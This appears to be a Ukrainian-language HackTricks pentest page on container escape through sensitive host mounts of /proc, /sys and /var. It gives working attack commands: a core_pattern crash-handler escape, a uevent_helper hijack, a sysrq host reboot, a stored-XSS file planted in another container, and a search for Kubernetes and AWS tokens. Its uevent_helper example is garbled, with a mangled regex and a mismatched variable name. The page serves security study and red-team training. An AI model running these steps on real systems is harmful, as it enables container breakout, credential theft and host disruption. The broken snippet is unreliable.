Чутливі монтування
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Відкриття /proc
, /sys
та /var
без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування -v /proc:/host/proc
може обійти захист AppArmor через його шляхову природу, залишаючи /host/proc
незахищеним.
Ви можете знайти додаткові деталі кожної потенційної вразливості в https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
Вразливості procfs
/proc/sys
Цей каталог дозволяє доступ для зміни змінних ядра, зазвичай через sysctl(2)
, і містить кілька підкаталогів, які викликають занепокоєння:
/proc/sys/kernel/core_pattern
-
Описано в core(5).
-
Якщо ви можете записувати в цей файл, можливо, записати конвеєр
|
, за яким слідує шлях до програми або скрипту, який буде виконано після того, як станеться збій. -
Зловмисник може знайти шлях всередині хоста до свого контейнера, виконавши
mount
, і записати шлях до бінарного файлу всередині файлової системи свого контейнера. Потім, викликати збій програми, щоб змусити ядро виконати бінарний файл поза контейнером. -
Приклад тестування та експлуатації:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
Перевірте цей пост для отримання додаткової інформації.
Приклад програми, яка викликає збій:
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
/proc/sys/kernel/modprobe
- Докладно в proc(5).
- Містить шлях до завантажувача модулів ядра, який викликається для завантаження модулів ядра.
- Приклад перевірки доступу:
ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до modprobe
/proc/sys/vm/panic_on_oom
- Згадується в proc(5).
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM-убивцю, коли виникає умова OOM.
/proc/sys/fs
- Згідно з proc(5), містить параметри та інформацію про файлову систему.
- Доступ на запис може дозволити різні атаки відмови в обслуговуванні проти хоста.
/proc/sys/fs/binfmt_misc
- Дозволяє реєструвати інтерпретатори для ненативних бінарних форматів на основі їх магічного номера.
- Може призвести до підвищення привілеїв або доступу до кореневого терміналу, якщо
/proc/sys/fs/binfmt_misc/register
доступний для запису. - Відповідна експлуатація та пояснення:
- Бідний чоловік rootkit через binfmt_misc
- Детальний посібник: Посилання на відео
Інші в /proc
/proc/config.gz
- Може розкрити конфігурацію ядра, якщо
CONFIG_IKCONFIG_PROC
увімкнено. - Корисно для атакуючих для виявлення вразливостей у запущеному ядрі.
/proc/sysrq-trigger
- Дозволяє викликати команди Sysrq, потенційно викликаючи негайні перезавантаження системи або інші критичні дії.
- Приклад перезавантаження хоста:
echo b > /proc/sysrq-trigger # Перезавантажує хост
/proc/kmsg
- Відкриває повідомлення з кільцевого буфера ядра.
- Може допомогти в експлуатації ядра, витоках адрес та надати чутливу інформацію про систему.
/proc/kallsyms
- Перераховує експортовані символи ядра та їх адреси.
- Важливо для розробки експлуатацій ядра, особливо для подолання KASLR.
- Інформація про адреси обмежена, якщо
kptr_restrict
встановлено на1
або2
. - Деталі в proc(5).
/proc/[pid]/mem
- Інтерфейси з пристроєм пам'яті ядра
/dev/mem
. - Історично вразливий до атак підвищення привілеїв.
- Більше про proc(5).
/proc/kcore
- Представляє фізичну пам'ять системи у форматі ELF core.
- Читання може витікати вміст пам'яті хост-системи та інших контейнерів.
- Великий розмір файлу може призвести до проблем з читанням або збоїв програмного забезпечення.
- Детальне використання в Витягування /proc/kcore у 2019 році.
/proc/kmem
- Альтернативний інтерфейс для
/dev/kmem
, що представляє віртуальну пам'ять ядра. - Дозволяє читання та запис, отже, безпосереднє модифікування пам'яті ядра.
/proc/mem
- Альтернативний інтерфейс для
/dev/mem
, що представляє фізичну пам'ять. - Дозволяє читання та запис, модифікація всієї пам'яті вимагає вирішення віртуальних адрес у фізичні.
/proc/sched_debug
- Повертає інформацію про планування процесів, обходячи захисти простору PID.
- Відкриває імена процесів, ID та ідентифікатори cgroup.
/proc/[pid]/mountinfo
- Надає інформацію про точки монту в просторі монту процесу.
- Відкриває місцезнаходження контейнера
rootfs
або образу.
Вразливості /sys
/sys/kernel/uevent_helper
- Використовується для обробки
uevents
пристроїв ядра. - Запис у
/sys/kernel/uevent_helper
може виконувати довільні скрипти при спрацьовуванніuevent
. - Приклад для експлуатації: %%%bash
Створює корисне навантаження
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Знаходить шлях хоста з OverlayFS для контейнера
hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)
Встановлює uevent_helper на шкідливий помічник
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Викликає uevent
echo change > /sys/class/mem/null/uevent
Читає вихідні дані
cat /output %%%
/sys/class/thermal
- Контролює налаштування температури, потенційно викликаючи атаки DoS або фізичні пошкодження.
/sys/kernel/vmcoreinfo
- Витікає адреси ядра, потенційно компрометуючи KASLR.
/sys/kernel/security
- Містить інтерфейс
securityfs
, що дозволяє налаштування Linux Security Modules, таких як AppArmor. - Доступ може дозволити контейнеру вимкнути свою MAC-систему.
/sys/firmware/efi/vars
та /sys/firmware/efi/efivars
- Відкриває інтерфейси для взаємодії з EFI змінними в NVRAM.
- Неправильна конфігурація або експлуатація можуть призвести до "заблокованих" ноутбуків або неможливих для завантаження хост-машин.
/sys/kernel/debug
debugfs
пропонує інтерфейс для налагодження без правил до ядра.- Історія проблем з безпекою через його необмежений характер.
Вразливості /var
Папка /var хоста містить сокети виконання контейнерів та файлові системи контейнерів. Якщо ця папка змонтована всередині контейнера, цей контейнер отримає доступ на читання та запис до файлових систем інших контейнерів з правами root. Це може бути зловжито для перемикання між контейнерами, викликання відмови в обслуговуванні або для створення бекдорів в інших контейнерах та програмах, що в них виконуються.
Kubernetes
Якщо контейнер такого типу розгорнуто з Kubernetes:
apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var
Всередині контейнера pod-mounts-var-folder:
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
XSS було досягнуто:
Зверніть увагу, що контейнер НЕ потребує перезавантаження або чогось подібного. Будь-які зміни, внесені через змонтовану /var папку, будуть застосовані миттєво.
Ви також можете замінити конфігураційні файли, двійкові файли, сервіси, файли додатків та профілі оболонки для досягнення автоматичного (або напівавтоматичного) RCE.
Доступ до облікових даних хмари
Контейнер може читати токени K8s serviceaccount або токени AWS webidentity, що дозволяє контейнеру отримати несанкціонований доступ до K8s або хмари:
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
Docker
Експлуатація в Docker (або в розгортаннях Docker Compose) є точно такою ж, за винятком того, що зазвичай файлові системи інших контейнерів доступні під іншим базовим шляхом:
$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker
Отже, файлові системи знаходяться під /var/lib/docker/overlay2/
:
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
Примітка
Фактичні шляхи можуть відрізнятися в різних налаштуваннях, тому найкраще використовувати команду find для виявлення файлових систем інших контейнерів та токенів SA / веб-ідентичності
Посилання
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Understanding and Hardening Linux Containers
- Abusing Privileged and Unprivileged Linux Containers
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.